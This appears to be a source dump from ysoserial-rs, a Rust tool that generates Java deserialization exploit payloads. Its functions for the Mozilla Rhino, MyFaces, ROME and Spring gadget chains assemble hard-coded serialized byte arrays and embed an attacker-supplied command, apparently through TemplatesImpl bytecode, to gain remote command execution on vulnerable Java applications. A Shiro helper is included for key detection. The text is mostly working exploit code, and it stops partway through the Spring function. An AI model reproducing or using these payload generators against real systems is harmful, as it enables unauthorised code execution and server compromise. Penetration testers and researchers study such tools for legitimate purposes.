1, 98, 0, 2, 0, 1, 83, 83 | 247, 116, 0, 3, 88, 77, 76, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 116, 0, 41, 111, 114, 84 | 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 85 | 116, 46, 120, 109, 108, 105, 109, 112, 108, 46, 88, 77, 76, 76, 105, 98, 73, 109, 112, 108, 86 | 112, 113, 0, 126, 1, 143, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 182, 87 | 220, 165, 53, 116, 0, 7, 88, 77, 76, 76, 105, 115, 116, 115, 113, 0, 126, 1, 101, 0, 0, 0, 88 | 0, 0, 113, 0, 126, 1, 145, 112, 113, 0, 126, 1, 147, 113, 0, 126, 0, 35, 112, 112, 115, 89 | 113, 0, 126, 1, 98, 0, 2, 194, 21, 117, 59, 116, 0, 9, 78, 97, 109, 101, 115, 112, 97, 99, 90 | 101, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 113, 0, 126, 1, 145, 112, 113, 0, 126, 1, 91 | 150, 113, 0, 126, 0, 35, 112, 112, 115, 113, 0, 126, 1, 98, 0, 2, 4, 154, 94, 124, 116, 0, 92 | 5, 81, 78, 97, 109, 101, 115, 113, 0, 126, 1, 101, 0, 0, 0, 0, 0, 113, 0, 126, 1, 145, 112, 93 | 113, 0, 126, 1, 153, 113, 0, 126, 0, 35, 112, 112, 120, 119, 4, 0, 0, 0, 0, 120, 112, 119, 94 | 1, 0, 115, 114, 0, 58, 99, 111, 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 95 | 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 96 | 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 97 | 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 98 | 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 99 | 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 100 | 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 101 | 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 102 | 109, 101, 113, 0, 126, 0, 5, 76, 0, 17, 95, 111, 117, 116, 112, 117, 116, 80, 114, 111, 103 | 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 104 | 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 0, 0, 0, 0, 255, 105 | 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 106 | 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 107 | 120, 112, 108 | ] 109 | .to_vec(); 110 | let template_impl = get_f_template_impl(cmd); 111 | let template_impl_len = template_impl.len() as u32; 112 | result_bytes.extend(template_impl_len.to_be_bytes()); 113 | result_bytes.extend(&template_impl); 114 | result_bytes.extend([ 115 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 116, 0, 15, 106, 97, 118, 97, 46, 116 | 108, 97, 110, 103, 46, 67, 108, 97, 115, 115, 120, 119, 4, 0, 0, 0, 5, 115, 113, 0, 126, 1, 117 | 98, 0, 0, 0, 51, 122, 139, 113, 0, 126, 0, 66, 113, 0, 126, 0, 129, 115, 114, 0, 32, 111, 118 | 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 119 | 112, 116, 46, 77, 101, 109, 98, 101, 114, 66, 111, 120, 88, 62, 27, 230, 6, 227, 4, 181, 3, 120 | 0, 0, 120, 112, 119, 2, 1, 1, 116, 0, 5, 101, 110, 116, 101, 114, 118, 114, 0, 30, 111, 121 | 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 122 | 112, 116, 46, 67, 111, 110, 116, 101, 120, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 123 | 119, 2, 0, 0, 120, 112, 115, 113, 0, 126, 1, 98, 0, 0, 56, 235, 0, 7, 113, 0, 126, 0, 68, 124 | 113, 0, 126, 0, 129, 115, 114, 0, 39, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 125 | 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 78, 97, 116, 105, 118, 101, 74, 97, 126 | 118, 97, 77, 101, 116, 104, 111, 100, 208, 65, 78, 254, 114, 254, 105, 0, 2, 0, 2, 76, 0, 127 | 12, 102, 117, 110, 99, 116, 105, 111, 110, 78, 97, 109, 101, 113, 0, 126, 0, 5, 91, 0, 7, 128 | 109, 101, 116, 104, 111, 100, 115, 116, 0, 35, 91, 76, 111, 114, 103, 47, 109, 111, 122, 129 | 105, 108, 108, 97, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 47, 77, 101, 109, 98, 130 | 101, 114, 66, 111, 120, 59, 120, 113, 0, 126, 0, 55, 0, 0, 0, 0, 112, 112, 112, 119, 4, 0, 131 | 0, 0, 0, 120, 119, 4, 0, 0, 0, 0, 120, 0, 0, 0, 4, 112, 113, 0, 126, 0, 68, 117, 114, 0, 132 | 35, 91, 76, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 133 | 99, 114, 105, 112, 116, 46, 77, 101, 109, 98, 101, 114, 66, 111, 120, 59, 50, 38, 33, 78, 134 | 230, 33, 82, 57, 2, 0, 0, 120, 112, 0, 0, 0, 1, 115, 113, 0, 126, 1, 167, 119, 2, 1, 1, 135 | 116, 0, 14, 110, 101, 119, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114, 118, 113, 136 | 0, 126, 1, 155, 119, 2, 0, 0, 120, 112, 120, 119, 4, 0, 0, 0, 0, 120, 137 | ]); 138 | result_bytes 139 | } 140 | pub fn get_mozilla_rhino2(cmd: &str) -> Vec { 141 | let mut result_bytes = [ 142 | 172, 237, 0, 5, 115, 114, 0, 39, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 143 | 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 78, 97, 116, 105, 118, 101, 74, 97, 118, 144 | 97, 79, 98, 106, 101, 99, 116, 159, 145, 165, 158, 53, 196, 49, 225, 3, 0, 2, 76, 0, 6, 145 | 112, 97, 114, 101, 110, 116, 116, 0, 35, 76, 111, 114, 103, 47, 109, 111, 122, 105, 108, 146 | 108, 97, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 47, 83, 99, 114, 105, 112, 116, 147 | 97, 98, 108, 101, 59, 76, 0, 9, 112, 114, 111, 116, 111, 116, 121, 112, 101, 113, 0, 126, 148 | 0, 1, 120, 112, 115, 114, 0, 46, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 149 | 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 116, 111, 111, 108, 115, 46, 115, 104, 150 | 101, 108, 108, 46, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 250, 5, 191, 187, 151 | 59, 216, 141, 87, 2, 0, 1, 76, 0, 20, 116, 104, 101, 80, 114, 111, 116, 111, 116, 121, 112, 152 | 101, 73, 110, 115, 116, 97, 110, 99, 101, 116, 0, 48, 76, 111, 114, 103, 47, 109, 111, 122, 153 | 105, 108, 108, 97, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 47, 116, 111, 111, 154 | 108, 115, 47, 115, 104, 101, 108, 108, 47, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 155 | 116, 59, 120, 114, 0, 39, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 156 | 118, 97, 115, 99, 114, 105, 112, 116, 46, 83, 99, 114, 105, 112, 116, 97, 98, 108, 101, 79, 157 | 98, 106, 101, 99, 116, 101, 206, 20, 114, 143, 196, 24, 228, 3, 0, 4, 73, 0, 5, 99, 111, 158 | 117, 110, 116, 76, 0, 16, 97, 115, 115, 111, 99, 105, 97, 116, 101, 100, 86, 97, 108, 117, 159 | 101, 115, 116, 0, 15, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 77, 97, 112, 59, 160 | 76, 0, 17, 112, 97, 114, 101, 110, 116, 83, 99, 111, 112, 101, 79, 98, 106, 101, 99, 116, 161 | 113, 0, 126, 0, 1, 76, 0, 15, 112, 114, 111, 116, 111, 116, 121, 112, 101, 79, 98, 106, 162 | 101, 99, 116, 113, 0, 126, 0, 1, 120, 112, 0, 0, 0, 0, 115, 114, 0, 19, 106, 97, 118, 97, 163 | 46, 117, 116, 105, 108, 46, 72, 97, 115, 104, 116, 97, 98, 108, 101, 19, 187, 15, 37, 33, 164 | 74, 228, 184, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 70, 97, 99, 116, 111, 114, 73, 0, 9, 165 | 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 63, 64, 0, 0, 0, 0, 0, 8, 119, 8, 0, 166 | 0, 0, 11, 0, 0, 0, 1, 116, 0, 10, 67, 108, 97, 115, 115, 67, 97, 99, 104, 101, 115, 114, 0, 167 | 33, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 168 | 114, 105, 112, 116, 46, 67, 108, 97, 115, 115, 67, 97, 99, 104, 101, 132, 244, 196, 52, 169 | 150, 220, 31, 41, 2, 0, 2, 90, 0, 16, 99, 97, 99, 104, 105, 110, 103, 73, 115, 69, 110, 97, 170 | 98, 108, 101, 100, 73, 0, 20, 103, 101, 110, 101, 114, 97, 116, 101, 100, 67, 108, 97, 115, 171 | 115, 83, 101, 114, 105, 97, 108, 120, 112, 0, 0, 0, 0, 0, 120, 112, 112, 119, 4, 0, 0, 0, 172 | 0, 120, 113, 0, 126, 0, 7, 112, 119, 1, 1, 116, 0, 16, 106, 97, 118, 97, 46, 108, 97, 110, 173 | 103, 46, 79, 98, 106, 101, 99, 116, 117, 114, 0, 19, 91, 76, 106, 97, 118, 97, 46, 108, 97, 174 | 110, 103, 46, 83, 116, 114, 105, 110, 103, 59, 173, 210, 86, 231, 233, 29, 123, 71, 2, 0, 175 | 0, 120, 112, 0, 0, 0, 0, 115, 114, 0, 38, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 176 | 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 78, 97, 116, 105, 118, 101, 74, 177 | 97, 118, 97, 65, 114, 114, 97, 121, 243, 45, 54, 97, 239, 120, 241, 59, 2, 0, 3, 73, 0, 6, 178 | 108, 101, 110, 103, 116, 104, 76, 0, 5, 97, 114, 114, 97, 121, 116, 0, 18, 76, 106, 97, 179 | 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 76, 0, 3, 99, 108, 115, 180 | 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 181 | 120, 113, 0, 126, 0, 0, 113, 0, 126, 0, 7, 115, 113, 0, 126, 0, 3, 0, 0, 0, 1, 112, 115, 182 | 113, 0, 126, 0, 0, 113, 0, 126, 0, 7, 112, 119, 1, 1, 113, 0, 126, 0, 13, 117, 113, 0, 126, 183 | 0, 14, 0, 0, 0, 0, 115, 113, 0, 126, 0, 3, 0, 0, 0, 1, 112, 112, 112, 119, 4, 0, 0, 0, 5, 184 | 115, 114, 0, 50, 111, 114, 103, 46, 109, 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 185 | 115, 99, 114, 105, 112, 116, 46, 83, 99, 114, 105, 112, 116, 97, 98, 108, 101, 79, 98, 106, 186 | 101, 99, 116, 36, 71, 101, 116, 116, 101, 114, 83, 108, 111, 116, 187, 253, 169, 35, 115, 187 | 32, 29, 108, 2, 0, 2, 76, 0, 6, 103, 101, 116, 116, 101, 114, 113, 0, 126, 0, 17, 76, 0, 6, 188 | 115, 101, 116, 116, 101, 114, 113, 0, 126, 0, 17, 120, 114, 0, 44, 111, 114, 103, 46, 109, 189 | 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 83, 99, 190 | 114, 105, 112, 116, 97, 98, 108, 101, 79, 98, 106, 101, 99, 116, 36, 83, 108, 111, 116, 191 | 171, 121, 232, 59, 227, 133, 120, 157, 2, 0, 4, 83, 0, 10, 97, 116, 116, 114, 105, 98, 117, 192 | 116, 101, 115, 73, 0, 11, 105, 110, 100, 101, 120, 79, 114, 72, 97, 115, 104, 76, 0, 4, 193 | 110, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 194 | 114, 105, 110, 103, 59, 76, 0, 5, 118, 97, 108, 117, 101, 113, 0, 126, 0, 17, 120, 112, 0, 195 | 0, 0, 1, 140, 198, 116, 0, 3, 102, 111, 111, 112, 115, 114, 0, 32, 111, 114, 103, 46, 109, 196 | 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 77, 197 | 101, 109, 98, 101, 114, 66, 111, 120, 88, 62, 27, 230, 6, 227, 4, 181, 3, 0, 0, 120, 112, 198 | 119, 2, 1, 1, 116, 0, 5, 101, 110, 116, 101, 114, 118, 114, 0, 30, 111, 114, 103, 46, 109, 199 | 111, 122, 105, 108, 108, 97, 46, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 46, 67, 200 | 111, 110, 116, 101, 120, 116, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 119, 2, 0, 0, 120, 201 | 112, 120, 113, 0, 126, 0, 23, 112, 120, 112, 119, 4, 0, 0, 0, 5, 115, 113, 0, 126, 0, 25, 202 | 0, 0, 204, 201, 245, 20, 116, 0, 16, 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 203 | 114, 116, 105, 101, 115, 112, 120, 113, 0, 126, 0, 20, 119, 1, 0, 115, 114, 0, 58, 99, 111, 204 | 109, 46, 115, 117, 110, 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 205 | 97, 110, 46, 105, 110, 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 206 | 114, 97, 120, 46, 84, 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 207 | 193, 110, 172, 171, 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 208 | 98, 101, 114, 73, 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 209 | 91, 0, 10, 95, 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 210 | 95, 99, 108, 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 211 | 67, 108, 97, 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 113, 0, 126, 0, 26, 76, 0, 17, 212 | 95, 111, 117, 116, 112, 117, 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 213 | 22, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 214 | 105, 101, 115, 59, 120, 112, 0, 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 215 | 75, 253, 25, 21, 103, 103, 219, 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 216 | 172, 243, 23, 248, 6, 8, 84, 224, 2, 0, 0, 120, 112, 217 | ] 218 | .to_vec(); 219 | let template_impl = get_f_template_impl(cmd); 220 | let template_impl_len = template_impl.len() as u32; 221 | result_bytes.extend(template_impl_len.to_be_bytes()); 222 | result_bytes.extend(&template_impl); 223 | result_bytes.extend([ 224 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 112, 120, 0, 0, 0, 0, 112, 112, 225 | 112, 120, 226 | ]); 227 | result_bytes 228 | } 229 | -------------------------------------------------------------------------------- /ysoserial-rs/src/myfaces.rs: -------------------------------------------------------------------------------- 1 | pub fn get_myfaces1(cmd: &str) -> Vec { 2 | let mut result_bytes = [ 3 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 4 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 5 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 6 | 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 0, 0, 2, 0, 0, 0, 2, 115, 114, 0, 67, 111, 114, 103, 7 | 46, 97, 112, 97, 99, 104, 101, 46, 109, 121, 102, 97, 99, 101, 115, 46, 118, 105, 101, 119, 8 | 46, 102, 97, 99, 101, 108, 101, 116, 115, 46, 101, 108, 46, 86, 97, 108, 117, 101, 69, 120, 9 | 112, 114, 101, 115, 115, 105, 111, 110, 77, 101, 116, 104, 111, 100, 69, 120, 112, 114, 10 | 101, 115, 115, 105, 111, 110, 216, 123, 44, 56, 165, 38, 67, 107, 12, 0, 0, 120, 114, 0, 11 | 25, 106, 97, 118, 97, 120, 46, 101, 108, 46, 77, 101, 116, 104, 111, 100, 69, 120, 112, 12 | 114, 101, 115, 115, 105, 111, 110, 113, 76, 23, 11, 90, 143, 225, 240, 2, 0, 0, 120, 114, 13 | 0, 19, 106, 97, 118, 97, 120, 46, 101, 108, 46, 69, 120, 112, 114, 101, 115, 115, 105, 111, 14 | 110, 163, 133, 138, 83, 242, 90, 210, 60, 2, 0, 0, 120, 112, 115, 114, 0, 33, 111, 114, 15 | 103, 46, 97, 112, 97, 99, 104, 101, 46, 101, 108, 46, 86, 97, 108, 117, 101, 69, 120, 112, 16 | 114, 101, 115, 115, 105, 111, 110, 73, 109, 112, 108, 8, 141, 34, 254, 135, 136, 173, 184, 17 | 12, 0, 0, 120, 114, 0, 24, 106, 97, 118, 97, 120, 46, 101, 108, 46, 86, 97, 108, 117, 101, 18 | 69, 120, 112, 114, 101, 115, 115, 105, 111, 110, 119, 10, 128, 91, 224, 192, 254, 145, 2, 19 | 0, 0, 120, 113, 0, 126, 0, 4, 119, 27, 0, 7, 36, 123, 116, 114, 117, 101, 125, 0, 16, 106, 20 | 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 112, 112, 120, 120, 113, 21 | 0, 126, 0, 5, 115, 113, 0, 126, 0, 2, 115, 113, 0, 126, 0, 6, 119, 22 | ] 23 | .to_vec(); 24 | let m = (cmd.len() + 20) as u8; 25 | result_bytes.push(m); 26 | let byte_len = cmd.len() as u16; 27 | result_bytes.extend(byte_len.to_be_bytes()); 28 | result_bytes.extend(cmd.as_bytes()); 29 | result_bytes.extend([ 30 | 0, 16, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 79, 98, 106, 101, 99, 116, 112, 112, 31 | 120, 120, 113, 0, 126, 0, 9, 120, 32 | ]); 33 | result_bytes 34 | } 35 | -------------------------------------------------------------------------------- /ysoserial-rs/src/rome.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_rome(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 17, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 72, 97, 115, 6 | 104, 77, 97, 112, 5, 7, 218, 193, 195, 22, 96, 209, 3, 0, 2, 70, 0, 10, 108, 111, 97, 100, 7 | 70, 97, 99, 116, 111, 114, 73, 0, 9, 116, 104, 114, 101, 115, 104, 111, 108, 100, 120, 112, 8 | 63, 64, 0, 0, 0, 0, 0, 0, 119, 8, 0, 0, 0, 2, 0, 0, 0, 2, 115, 114, 0, 40, 99, 111, 109, 9 | 46, 115, 117, 110, 46, 115, 121, 110, 100, 105, 99, 97, 116, 105, 111, 110, 46, 102, 101, 10 | 101, 100, 46, 105, 109, 112, 108, 46, 79, 98, 106, 101, 99, 116, 66, 101, 97, 110, 130, 11 | 153, 7, 222, 118, 4, 148, 74, 2, 0, 3, 76, 0, 14, 95, 99, 108, 111, 110, 101, 97, 98, 108, 12 | 101, 66, 101, 97, 110, 116, 0, 45, 76, 99, 111, 109, 47, 115, 117, 110, 47, 115, 121, 110, 13 | 100, 105, 99, 97, 116, 105, 111, 110, 47, 102, 101, 101, 100, 47, 105, 109, 112, 108, 47, 14 | 67, 108, 111, 110, 101, 97, 98, 108, 101, 66, 101, 97, 110, 59, 76, 0, 11, 95, 101, 113, 15 | 117, 97, 108, 115, 66, 101, 97, 110, 116, 0, 42, 76, 99, 111, 109, 47, 115, 117, 110, 47, 16 | 115, 121, 110, 100, 105, 99, 97, 116, 105, 111, 110, 47, 102, 101, 101, 100, 47, 105, 109, 17 | 112, 108, 47, 69, 113, 117, 97, 108, 115, 66, 101, 97, 110, 59, 76, 0, 13, 95, 116, 111, 18 | 83, 116, 114, 105, 110, 103, 66, 101, 97, 110, 116, 0, 44, 76, 99, 111, 109, 47, 115, 117, 19 | 110, 47, 115, 121, 110, 100, 105, 99, 97, 116, 105, 111, 110, 47, 102, 101, 101, 100, 47, 20 | 105, 109, 112, 108, 47, 84, 111, 83, 116, 114, 105, 110, 103, 66, 101, 97, 110, 59, 120, 21 | 112, 115, 114, 0, 43, 99, 111, 109, 46, 115, 117, 110, 46, 115, 121, 110, 100, 105, 99, 97, 22 | 116, 105, 111, 110, 46, 102, 101, 101, 100, 46, 105, 109, 112, 108, 46, 67, 108, 111, 110, 23 | 101, 97, 98, 108, 101, 66, 101, 97, 110, 221, 97, 187, 197, 51, 79, 107, 119, 2, 0, 2, 76, 24 | 0, 17, 95, 105, 103, 110, 111, 114, 101, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 25 | 116, 0, 15, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 101, 116, 59, 76, 0, 4, 26 | 95, 111, 98, 106, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 27 | 101, 99, 116, 59, 120, 112, 115, 114, 0, 30, 106, 97, 118, 97, 46, 117, 116, 105, 108, 46, 28 | 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 36, 69, 109, 112, 116, 121, 83, 101, 29 | 116, 21, 245, 114, 29, 180, 3, 203, 40, 2, 0, 0, 120, 112, 115, 113, 0, 126, 0, 2, 115, 30 | 113, 0, 126, 0, 7, 113, 0, 126, 0, 12, 115, 114, 0, 58, 99, 111, 109, 46, 115, 117, 110, 31 | 46, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 120, 97, 108, 97, 110, 46, 105, 110, 32 | 116, 101, 114, 110, 97, 108, 46, 120, 115, 108, 116, 99, 46, 116, 114, 97, 120, 46, 84, 33 | 101, 109, 112, 108, 97, 116, 101, 115, 73, 109, 112, 108, 9, 87, 79, 193, 110, 172, 171, 34 | 51, 3, 0, 6, 73, 0, 13, 95, 105, 110, 100, 101, 110, 116, 78, 117, 109, 98, 101, 114, 73, 35 | 0, 14, 95, 116, 114, 97, 110, 115, 108, 101, 116, 73, 110, 100, 101, 120, 91, 0, 10, 95, 36 | 98, 121, 116, 101, 99, 111, 100, 101, 115, 116, 0, 3, 91, 91, 66, 91, 0, 6, 95, 99, 108, 37 | 97, 115, 115, 116, 0, 18, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 38 | 115, 115, 59, 76, 0, 5, 95, 110, 97, 109, 101, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 39 | 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 17, 95, 111, 117, 116, 112, 117, 40 | 116, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 116, 0, 22, 76, 106, 97, 118, 97, 47, 41 | 117, 116, 105, 108, 47, 80, 114, 111, 112, 101, 114, 116, 105, 101, 115, 59, 120, 112, 0, 42 | 0, 0, 0, 255, 255, 255, 255, 117, 114, 0, 3, 91, 91, 66, 75, 253, 25, 21, 103, 103, 219, 43 | 55, 2, 0, 0, 120, 112, 0, 0, 0, 1, 117, 114, 0, 2, 91, 66, 172, 243, 23, 248, 6, 8, 84, 44 | 224, 2, 0, 0, 120, 112, 45 | ] 46 | .to_vec(); 47 | let template_impl = get_f_template_impl(cmd); 48 | let byte_len = template_impl.len() as u32; 49 | result_bytes.extend(byte_len.to_be_bytes()); 50 | result_bytes.extend(&template_impl); 51 | result_bytes.extend([ 52 | 112, 116, 0, 4, 68, 111, 103, 101, 112, 119, 1, 0, 120, 115, 114, 0, 40, 99, 111, 109, 46, 53 | 115, 117, 110, 46, 115, 121, 110, 100, 105, 99, 97, 116, 105, 111, 110, 46, 102, 101, 101, 54 | 100, 46, 105, 109, 112, 108, 46, 69, 113, 117, 97, 108, 115, 66, 101, 97, 110, 245, 138, 55 | 24, 187, 229, 246, 24, 17, 2, 0, 2, 76, 0, 10, 95, 98, 101, 97, 110, 67, 108, 97, 115, 115, 56 | 116, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 76, 57 | 0, 4, 95, 111, 98, 106, 113, 0, 126, 0, 9, 120, 112, 118, 114, 0, 29, 106, 97, 118, 97, 58 | 120, 46, 120, 109, 108, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 84, 101, 109, 59 | 112, 108, 97, 116, 101, 115, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 120, 112, 113, 0, 126, 0, 20, 60 | 115, 114, 0, 42, 99, 111, 109, 46, 115, 117, 110, 46, 115, 121, 110, 100, 105, 99, 97, 116, 61 | 105, 111, 110, 46, 102, 101, 101, 100, 46, 105, 109, 112, 108, 46, 84, 111, 83, 116, 114, 62 | 105, 110, 103, 66, 101, 97, 110, 9, 245, 142, 74, 15, 35, 238, 49, 2, 0, 2, 76, 0, 10, 95, 63 | 98, 101, 97, 110, 67, 108, 97, 115, 115, 113, 0, 126, 0, 27, 76, 0, 4, 95, 111, 98, 106, 64 | 113, 0, 126, 0, 9, 120, 112, 113, 0, 126, 0, 30, 113, 0, 126, 0, 20, 115, 113, 0, 126, 0, 65 | 26, 118, 113, 0, 126, 0, 2, 113, 0, 126, 0, 13, 115, 113, 0, 126, 0, 31, 113, 0, 126, 0, 66 | 34, 113, 0, 126, 0, 13, 113, 0, 126, 0, 6, 113, 0, 126, 0, 6, 113, 0, 126, 0, 6, 120, 67 | ]); 68 | result_bytes 69 | } 70 | -------------------------------------------------------------------------------- /ysoserial-rs/src/shiro.rs: -------------------------------------------------------------------------------- 1 | // 检测shiro的key用到 2 | pub fn get_shiro_simple_principal_collection() -> Vec { 3 | [ 4 | 172, 237, 0, 5, 115, 114, 0, 50, 111, 114, 103, 46, 97, 112, 97, 99, 104, 101, 46, 115, 5 | 104, 105, 114, 111, 46, 115, 117, 98, 106, 101, 99, 116, 46, 83, 105, 109, 112, 108, 101, 6 | 80, 114, 105, 110, 99, 105, 112, 97, 108, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 7 | 168, 127, 88, 37, 198, 163, 8, 74, 3, 0, 1, 76, 0, 15, 114, 101, 97, 108, 109, 80, 114, 8 | 105, 110, 99, 105, 112, 97, 108, 115, 116, 0, 15, 76, 106, 97, 118, 97, 47, 117, 116, 105, 9 | 108, 47, 77, 97, 112, 59, 120, 112, 112, 119, 1, 0, 120, 10 | ] 11 | .to_vec() 12 | } 13 | -------------------------------------------------------------------------------- /ysoserial-rs/src/spring.rs: -------------------------------------------------------------------------------- 1 | use crate::template_impl::get_f_template_impl; 2 | 3 | pub fn get_spring1(cmd: &str) -> Vec { 4 | let mut result_bytes = [ 5 | 172, 237, 0, 5, 115, 114, 0, 73, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 6 | 97, 109, 101, 119, 111, 114, 107, 46, 99, 111, 114, 101, 46, 83, 101, 114, 105, 97, 108, 7 | 105, 122, 97, 98, 108, 101, 84, 121, 112, 101, 87, 114, 97, 112, 112, 101, 114, 36, 77, 8 | 101, 116, 104, 111, 100, 73, 110, 118, 111, 107, 101, 84, 121, 112, 101, 80, 114, 111, 118, 9 | 105, 100, 101, 114, 178, 74, 180, 7, 139, 65, 26, 215, 2, 0, 3, 73, 0, 5, 105, 110, 100, 10 | 101, 120, 76, 0, 10, 109, 101, 116, 104, 111, 100, 78, 97, 109, 101, 116, 0, 18, 76, 106, 11 | 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 8, 112, 12 | 114, 111, 118, 105, 100, 101, 114, 116, 0, 63, 76, 111, 114, 103, 47, 115, 112, 114, 105, 13 | 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 47, 99, 111, 114, 101, 47, 83, 101, 14 | 114, 105, 